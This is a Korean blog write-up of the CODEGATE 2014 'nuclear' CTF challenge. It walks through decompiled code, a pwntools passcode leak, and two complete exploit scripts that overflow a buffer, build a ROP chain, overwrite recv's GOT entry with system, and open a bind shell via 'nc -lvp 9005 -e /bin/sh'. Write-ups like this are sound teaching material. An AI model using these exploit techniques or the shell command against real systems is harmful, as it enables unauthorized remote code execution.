ipwn

[CODEGATE 2014] nuclear 본문

CTF's/CODEGATE

[CODEGATE 2014] nuclear

ipwn 2018. 2. 2. 02:17

이번에 풀 문제는 CODEGATE 2014 출제 문제인 nuclear이다.


난이도는 생각보다 크게 어려운 편은 아니었던 것 같다.


가장 먼저 이 문제를 풀기 위해서는 THIS_IS_NOT_KEY_JUST_PASSCODE파일이 필요하다.


파일 안의 내용은 대충 친구한테 적어달라고 했다.


바로 보호기법을 확인해보자.



NX가 걸려있지만 canary가 걸려있지않다! 귀찮게 leak하는 과정을 거칠 필요가 없어진 것 같다!!


IDA로 분석해보자.


일단 포트는 1129로 실행된다.


한 번 바이너리를 실행시켜 보겠다.



??? 뭐 하는 프로그램인지 도무지 모르겠다.


한 번 IDA로 분석해보겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
ssize_t __cdecl real_main(void *arg)
{
  char v1; // ST08_1
  char v2; // ST08_1
  ssize_t result; // eax
  char v4; // ST08_1
  char v5; // ST08_1
  char v6; // [esp+8h] [ebp-250h]
  char v7; // [esp+8h] [ebp-250h]
  char v8; // [esp+8h] [ebp-250h]
  pthread_t newthread; // [esp+1Ch] [ebp-23Ch]
  char s1; // [esp+20h] [ebp-238h]
  int v11; // [esp+220h] [ebp-38h]
  char v12[4]; // [esp+224h] [ebp-34h]
  char s; // [esp+228h] [ebp-30h]
  ssize_t v14; // [esp+248h] [ebp-10h]
  FILE *stream; // [esp+24Ch] [ebp-Ch]
 
  *(_DWORD *)v12 = 0;
  v11 = 0;
  memset(&s, 0, 0x20u);
  stream = fopen("THIS_IS_NOT_KEY_JUST_PASSCODE""r");
  if ( !stream )
  {
    puts("opening passcode error!");
    exit(0);
  }
  fread(&s, 0x20u, 1u, stream);
  fclose(stream);
  sub_8048A0D((int)arg, "\n\n:: Welcome to the Nuclear Control System ::\n\n", v1);
  while ( 1 )
  {
    memset(&s1, 0, 0x200u);
    sub_8048A0D((int)arg, "> ", v2);
    result = sub_8048A6F((int)arg, &s1, 0x200u);
    v14 = result;
    if ( result <= 0 )
      break;
    result = strncmp(&s1, "quit", 4u);
    if ( !result )
      break;
    if ( !strncmp(&s1, "target", 6u) )
    {
      sub_8048A0D((int)arg, "[+] Enter coordinate of target, (Latitude/Longitude)\n---> ", v6);
      memset(&s1, 0, 0x200u);
      result = sub_8048A6F((int)arg, &s1, 0x200u);
      v14 = result;
      if ( result <= 0 )
        return result;
      __isoc99_sscanf(&s1, "%f/%f", v12, &v11);
      sub_8048A0D((int)arg, "[+] Target coordinate setting completed.\n", v4);
    }
    else if ( !strncmp(&s1, "launch", 6u) )
    {
      sub_8048A0D((int)arg, "[+] Enter the passcode to launch the nuclear : ", v7);
      memset(&s1, 0, 0x200u);
      result = sub_8048A6F((int)arg, &s1, 0x200u);
      v14 = result;
      if ( result <= 0 )
        return result;
      if ( strcmp(&s, &s1) )
        return sub_8048A0D((int)arg, "[!] the passcode is not correct.\n", v8);
      memset(&s1, 0, 0x200u);
      sub_8048A0D((int)arg, "[+] Correct passcode!\n", v5);
      pthread_create(&newthread, 0, sub_8048B9C, arg);
      pthread_join(newthread, 0);
    }
    else
    {
      sub_8048A0D((int)arg, "[!] Unknown command : %s\n", (unsigned int)&s1);
    }
  }
  return result;
}r




간단하게 먼저 passcode를 맞추면 어떠한 함수를 실행하는데, passcode는 THIS_IS... 파일에서 32byte만큼 읽어온다.


가장 먼저 passcode의 값은 모르고 시작한다고 가정하는 문제이기에 passcode의 값을 알아내야 하는데,


sscanf로 s1에 담긴 값에서 실수형의 숫자를 v12, v11의 공간에 담는 것을 이용해 passcode를 leak할 수 있다.


s1은 v11 바로 앞부분까지 입력을 받고, v11바로 뒤에는 v12가 있으며, 그 뒤에는 passcode의 값이 있으니 leak이


가능한 것이다. 즉 canary가 없는 대신에 passcode를 leak해야한다.


괜히 좋아했다 ㅋㅋㅋ


한 번 passcode를 leak하기위한 script를 작성해보겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
= remote( 'localhost'1129 )
 
p.recv(1024)
p.send('target')
 
p.recv(1024)
p.send('0.1111111111/0.111111111111')
 
p.recvuntil('> ')
p.send('A'*512)
 
print hexdump(p.recv(1024)



되게 간단하게 script를 작성할 수 있었다.


어떠한 값이 성공적으로 leak이 됐다.


보아하니 AAA.... 뒤의 똑같은 4byte가 두 개 즉 8byte가 보이는데 그 뒤의 ch..~가 passcode인 것이라는 것을 알 수 있다.


그렇다면 우리가 받아와야하는 값은 숫자를 하나하나 세어보면 (...) [!] ~ AAA...이후의 "chaeyoung"부터 


즉 index 542번째부터 받아와서 568번째 index까지 받아오면 된다는 말이 되겠다.


이제 passcode만 leak하는 script를 짜서 passcode를 leak해보겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
= remote( 'localhost'1129 )
 
p.recv(1024)
p.send('target')
 
p.recv(1024)
p.send('0.1111111111/0.111111111111')
 
p.recvuntil('> ')
p.send('A'*512)
 
passcode = p.recv(1024)[542:568]
 
print '[*] passcode leak : ' + passcode


성공적으로 passcode를 leak했다.


passcode의 값은 chaeyoung_is_so_beautiful!이다.


passcode가 맘에 든다.


이제 passcode를 인증한 뒤의 함수를 들어가보겠다.



start_routine함수를 살펴보도록 하겠다.



이 곳에서 bof가 발생하는 것을 알 수 있다.


buf의 공간은 0x20c이지만 입력은 0x512만큼 받는다.


이제 exploit이 가능해졌다.


바로 ppppr gadget, recv_plt, send_plt, recv_got, system_offset, bss 이 여섯가지를 구하러 가보자.



아쉽게도 system함수는 사용하지 않는다.


바로 recv_plt, send_plt, recv_got, system_offset네가지를 동시에 구하도록 하겠다.



설명은 생략하도록 하겠다.


1. recv_plt = 0x80488e0

2. send_plt = 0x8048900

3. recv_got = 0x804b074

4. offset = 0x18a5a0

5. ppppr

6. bss


이제 두 개만 더 구하면 된다.


objdump를 이용해서 두 값을 전부 구해보도록 하겠다.




두 값을 전부 구했다.


이제 총 정리를 해보도록 하겠다.


1. recv_plt = 0x80488e0

2. send_plt = 0x8048900

3. recv_got = 0x804b074

4. offset = 0x18a5a0

5. ppppr = 0x804917c

6. bss = 0x804b088


이제 바로 exploit script를 짜서 shell을 가져오겠다.



성공적으로 shell을 가져왔다.


(해 보니까 /bin/sh>&4 <&4를 cmd에 넘겨주면 소켓으로도 shell을 가져올 수 있지만 


이 문제에선 count down때문에 어지럽기에 그냥 nc로 /bin/sh를 넘겨줬다.)


solve.py


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
 
= remote( 'localhost'1129 )
 
recv_plt = 0x80488e0
send_plt = 0x8048900
recv_got = 0x804b074
ppppr = 0x804917c
offset = 0x18a5a0
bss = 0x804b088
cmd = 'nc -lvp 9005 -e /bin/sh'
 
pay = 'A'*528
pay += p32(recv_plt)
pay += p32(ppppr)
pay += p32(4)
pay += p32(bss)
pay += p32(len(cmd)+2)
pay += p32(0)
 
pay += p32(send_plt)
pay += p32(ppppr)
pay += p32(4)
pay += p32(recv_got)
pay += p32(4)
pay += p32(0)
 
pay += p32(recv_plt)
pay += p32(ppppr)
pay += p32(4)
pay += p32(recv_got)
pay += p32(4)
pay += p32(0)
 
pay += p32(recv_plt)
pay += 'AAAA'
pay += p32(bss)
 
p.recv(1024)
p.sendline('target')
 
p.recv(1024)
p.sendline('0.1111111111/0.111111111111')
 
p.recvuntil('> ')
p.sendline('A'*512)
 
passcode = p.recv(1024)[542:568]
 
print '[*] passcode leak : ' + passcode
 
p.sendline('launch')
p.recv(1024)
p.recv(1024)
 
p.sendline(passcode)
 
p.recvuntil('100')
 
p.send(pay)
 
p.send(cmd)
 
recv = p.recv(1024)
 
system = u32(recv) - offset
 
print '[*] recv addr : ' + str(hex(u32(recv)))
print '[*] system addr : ' + str(hex(system))
 
p.send(p32(system))
 
print '[*] nc localhost 9005 is shell!'


ropsolve.py


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
 
= remote( 'localhost'1129 )
= ELF('./nuclear')
rop = ROP(e)
 
offset = 0x18a5a0
cmd = 'nc -lvp 9005 -e /bin/sh'
pay = 'A'*528
 
rop.recv(4, e.bss(), len(cmd)+20)
rop.send(4, e.got['recv'], 40)
rop.recv(4, e.got['recv'], 40)
rop.recv(e.bss())
 
pay += rop.chain()
 
p.recv(1024)
p.sendline('target')
 
p.recv(1024)
p.sendline('0.1111111111/0.111111111111')
 
p.recvuntil('> ')
p.sendline('A'*512)
 
passcode = p.recv(1024)[542:568]
 
print '[*] passcode leak : ' + passcode
 
p.sendline('launch')
p.recv(1024)
p.recv(1024)
 
p.sendline(passcode)
 
p.recvuntil('100')
 
p.send(pay)
 
p.send(cmd)
 
recv = p.recv(1024)
 
system = u32(recv) - offset
 
print '[*] recv addr : ' + str(hex(u32(recv)))
print '[*] system addr : ' + str(hex(system))
 
p.send(p32(system))
 
print '[*] nc localhost 9005 is shell!'



'CTF's > CODEGATE' 카테고리의 다른 글

[CODEGATE 2016] bugbug  (0) 2018.03.26
[CODEGATE 2018] BaskinRobins31  (5) 2018.03.02
[CODEGATE 2017] babyMISC  (0) 2018.01.31
[CODEGATE 2014] angry_doraemon  (0) 2018.01.30
[CODEGATE 2017] babypwn  (0) 2018.01.30
Comments